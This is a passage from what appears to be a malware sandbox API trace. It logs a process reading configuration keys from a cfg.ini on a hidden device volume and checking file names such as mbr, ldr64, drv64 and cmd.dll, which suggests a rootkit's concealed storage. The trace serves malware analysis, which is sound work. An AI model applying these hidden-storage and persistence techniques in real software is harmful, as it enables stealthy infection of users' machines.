Event=0xfffff880028b25d0) [0124.207] IdePortDispatch () returned 0x103 [0124.207] KeWaitForMutexObject () returned 0x0 [0124.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.207] KeLeaveCriticalRegion () [0124.207] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.208] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.208] KeEnterCriticalRegion () [0124.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.208] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.208] KeLeaveCriticalRegion () [0124.208] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.208] KeEnterCriticalRegion () [0124.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.208] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.208] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.208] KeLeaveCriticalRegion () [0124.208] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.208] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.208] KeEnterCriticalRegion () [0124.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.208] ExFreePoolWithTag (P=0xfffffa8003beb440, Tag=0x0) [0124.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.208] KeLeaveCriticalRegion () [0124.208] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.208] ReleaseMutex (hMutex=0xf0) returned 1 [0124.208] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.208] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.208] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.208] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.208] KeEnterCriticalRegion () [0124.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.208] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.208] IdePortDispatch () returned 0x103 [0124.208] KeWaitForMutexObject () returned 0x0 [0124.208] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.209] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.209] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.209] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.209] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.209] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.209] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.209] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.209] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.209] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.209] KeLeaveCriticalRegion () [0124.209] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.209] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.209] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.209] KeEnterCriticalRegion () [0124.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.209] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.209] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.209] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.209] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.209] IdePortDispatch () returned 0x103 [0124.209] KeWaitForMutexObject () returned 0x0 [0124.209] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.209] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.209] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.209] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.209] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.209] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.209] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.209] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.209] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.209] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.210] KeLeaveCriticalRegion () [0124.210] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.210] ReleaseMutex (hMutex=0x100) returned 1 [0124.210] Sleep (dwMilliseconds=0x2bf20) [0124.217] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d3cfcf0, dwHighDateTime=0x1d24fa4)) [0124.217] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.217] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.217] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.217] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.217] KeEnterCriticalRegion () [0124.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.217] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.217] IdePortDispatch () returned 0x103 [0124.217] KeWaitForMutexObject () returned 0x0 [0124.217] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.217] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.217] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.217] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.217] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.217] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef6b0 [0124.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.217] KeLeaveCriticalRegion () [0124.217] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.217] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.217] KeEnterCriticalRegion () [0124.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.217] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.217] KeLeaveCriticalRegion () [0124.217] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.217] KeEnterCriticalRegion () [0124.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.218] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.218] IdePortDispatch () returned 0x103 [0124.218] KeWaitForMutexObject () returned 0x0 [0124.218] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.218] KeLeaveCriticalRegion () [0124.218] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.218] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.218] KeEnterCriticalRegion () [0124.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.218] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003516000 [0124.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.218] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.218] IdePortDispatch () returned 0x103 [0124.218] KeWaitForMutexObject () returned 0x0 [0124.218] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.218] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.218] IdePortDispatch () returned 0x103 [0124.219] KeWaitForMutexObject () returned 0x0 [0124.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.219] KeLeaveCriticalRegion () [0124.219] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.219] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.219] KeEnterCriticalRegion () [0124.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.219] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.219] KeLeaveCriticalRegion () [0124.220] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.220] KeEnterCriticalRegion () [0124.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.220] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.220] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.220] KeLeaveCriticalRegion () [0124.220] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.220] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.220] KeEnterCriticalRegion () [0124.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.220] ExFreePoolWithTag (P=0xfffffa8003bef6b0, Tag=0x0) [0124.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.220] KeLeaveCriticalRegion () [0124.220] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.220] ReleaseMutex (hMutex=0xf0) returned 1 [0124.220] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.220] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.220] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.220] KeEnterCriticalRegion () [0124.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.220] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.220] IdePortDispatch () returned 0x103 [0124.220] KeWaitForMutexObject () returned 0x0 [0124.220] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.220] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.220] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.220] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.220] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.220] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef230 [0124.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.221] KeLeaveCriticalRegion () [0124.221] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.221] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.221] KeEnterCriticalRegion () [0124.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.221] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.221] KeLeaveCriticalRegion () [0124.221] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.221] KeEnterCriticalRegion () [0124.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.221] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.221] IdePortDispatch () returned 0x103 [0124.221] KeWaitForMutexObject () returned 0x0 [0124.221] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.221] KeLeaveCriticalRegion () [0124.221] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.221] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.221] KeEnterCriticalRegion () [0124.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.221] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003517000 [0124.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.221] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.221] IdePortDispatch () returned 0x103 [0124.221] KeWaitForMutexObject () returned 0x0 [0124.222] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.222] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.222] IdePortDispatch () returned 0x103 [0124.222] KeWaitForMutexObject () returned 0x0 [0124.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.222] KeLeaveCriticalRegion () [0124.222] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.222] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.222] KeEnterCriticalRegion () [0124.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.222] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.222] KeLeaveCriticalRegion () [0124.222] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.222] KeEnterCriticalRegion () [0124.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.223] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.223] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.223] KeLeaveCriticalRegion () [0124.223] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.223] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.223] KeEnterCriticalRegion () [0124.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.223] ExFreePoolWithTag (P=0xfffffa8003bef230, Tag=0x0) [0124.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.223] KeLeaveCriticalRegion () [0124.223] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.223] ReleaseMutex (hMutex=0xf0) returned 1 [0124.223] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.223] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.223] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.223] KeEnterCriticalRegion () [0124.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.223] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.223] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.223] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.223] IdePortDispatch () returned 0x103 [0124.223] KeWaitForMutexObject () returned 0x0 [0124.223] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.223] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.223] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.223] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.223] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.223] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beef60 [0124.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.223] KeLeaveCriticalRegion () [0124.223] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.223] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.223] KeEnterCriticalRegion () [0124.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.223] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 